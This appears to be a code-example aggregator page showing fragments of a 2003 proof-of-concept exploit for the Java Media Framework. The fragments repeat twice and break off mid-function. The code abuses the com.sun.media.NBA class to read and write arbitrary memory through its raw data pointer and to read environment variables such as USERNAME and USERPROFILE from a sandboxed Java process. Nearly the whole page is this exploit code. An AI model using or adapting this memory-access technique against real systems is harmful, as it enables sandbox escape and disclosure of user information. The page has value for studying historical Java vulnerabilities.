Package com.sun.media

Examples of com.sun.media.NBA


               return -1;
          }

          public static byte readMem(long i) {
               byte[] by = new byte[1];
               NBA searcher = new NBA(byte[].class,1);
               long olddata = searcher.data;
               searcher.data = i;
               searcher.size = 1;
               searcher.copyTo(by);
               searcher.data = olddata; // keep the finalizer happy
               return by[0];
          }
View Full Code Here


               searcher.data = olddata; // keep the finalizer happy
               return by[0];
          }

          public static void setMem(long i, char c) {
               NBA b = new NBA(byte[].class,1);
               long olddata = b.data;
               b.data = i;
               b.size = 1;
               theBytes[c].copyTo(b);
               b.data  = olddata; // keep the finalizer happy
View Full Code Here

          }


          public static void setMem(long l, String s) {
               char[] theChars = s.toCharArray();
               NBA b = new NBA(byte[].class,1);
               long olddata = b.data;
               for (int i = 0 ; i  < theChars.length; i++) {
                    b.data = l+i;
                    b.size = 1;
                    theBytes[theChars[i]].copyTo(b);
View Full Code Here

                         System.exit(-1);
               }
          }

          static NBA search (char theChar,long start, long end) {
               NBA ret = null;
               NBA searcher = new NBA(byte[].class,1);
               byte[] ba = new byte[1];
               for (long i = start; i < end ; i++) {
//                    byte b = readMem(i);
                    searcher.data = i;
                    searcher.copyTo(ba);
//                    if ( b == (byte)theChar) {
                    if ( ba[0] == (byte)theChar) {
                         return searcher;
                    }
               }
View Full Code Here

       System.out.println("Proof-Of-Concept: Read Environment via vulnerability Java Media Framework");

       System.out.println("(2003) Marc Schoenefeld, www.illegalaccess.org");


       NBA ret = new NBA(byte[].class,4);
       long oldret = ret.data;

        System.out.println("Base of data: "+Long.toString(base.data,16));

       String[] envs = {"USERDOMAIN","USERNAME","USERPROFILE","CLASSPATH",
View Full Code Here

               return -1;
          }

          public static byte readMem(long i) {
               byte[] by = new byte[1];
               NBA searcher = new NBA(byte[].class,1);
               long olddata = searcher.data;
               searcher.data = i;
               searcher.size = 1;
               searcher.copyTo(by);
               searcher.data = olddata; // keep the finalizer happy
               return by[0];
          }
View Full Code Here

               searcher.data = olddata; // keep the finalizer happy
               return by[0];
          }

          public static void setMem(long i, char c) {
               NBA b = new NBA(byte[].class,1);
               long olddata = b.data;
               b.data = i;
               b.size = 1;
               theBytes[c].copyTo(b);
               b.data  = olddata; // keep the finalizer happy
View Full Code Here

          }


          public static void setMem(long l, String s) {
               char[] theChars = s.toCharArray();
               NBA b = new NBA(byte[].class,1);
               long olddata = b.data;
               for (int i = 0 ; i  < theChars.length; i++) {
                    b.data = l+i;
                    b.size = 1;
                    theBytes[theChars[i]].copyTo(b);
View Full Code Here

                         System.exit(-1);
               }
          }

          static NBA search (char theChar,long start, long end) {
               NBA ret = null;
               NBA searcher = new NBA(byte[].class,1);
               byte[] ba = new byte[1];
               for (long i = start; i < end ; i++) {
//                    byte b = readMem(i);
                    searcher.data = i;
                    searcher.copyTo(ba);
//                    if ( b == (byte)theChar) {
                    if ( ba[0] == (byte)theChar) {
                         return searcher;
                    }
               }
View Full Code Here

       System.out.println("Proof-Of-Concept: Read Environment via vulnerability Java Media Framework");

       System.out.println("(2003) Marc Schoenefeld, www.illegalaccess.org");


       NBA ret = new NBA(byte[].class,4);
       long oldret = ret.data;

        System.out.println("Base of data: "+Long.toString(base.data,16));

       String[] envs = {"USERDOMAIN","USERNAME","USERPROFILE","CLASSPATH",
View Full Code Here

TOP

Related Classes of com.sun.media.NBA

Copyright © 2018 www.massapicom. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.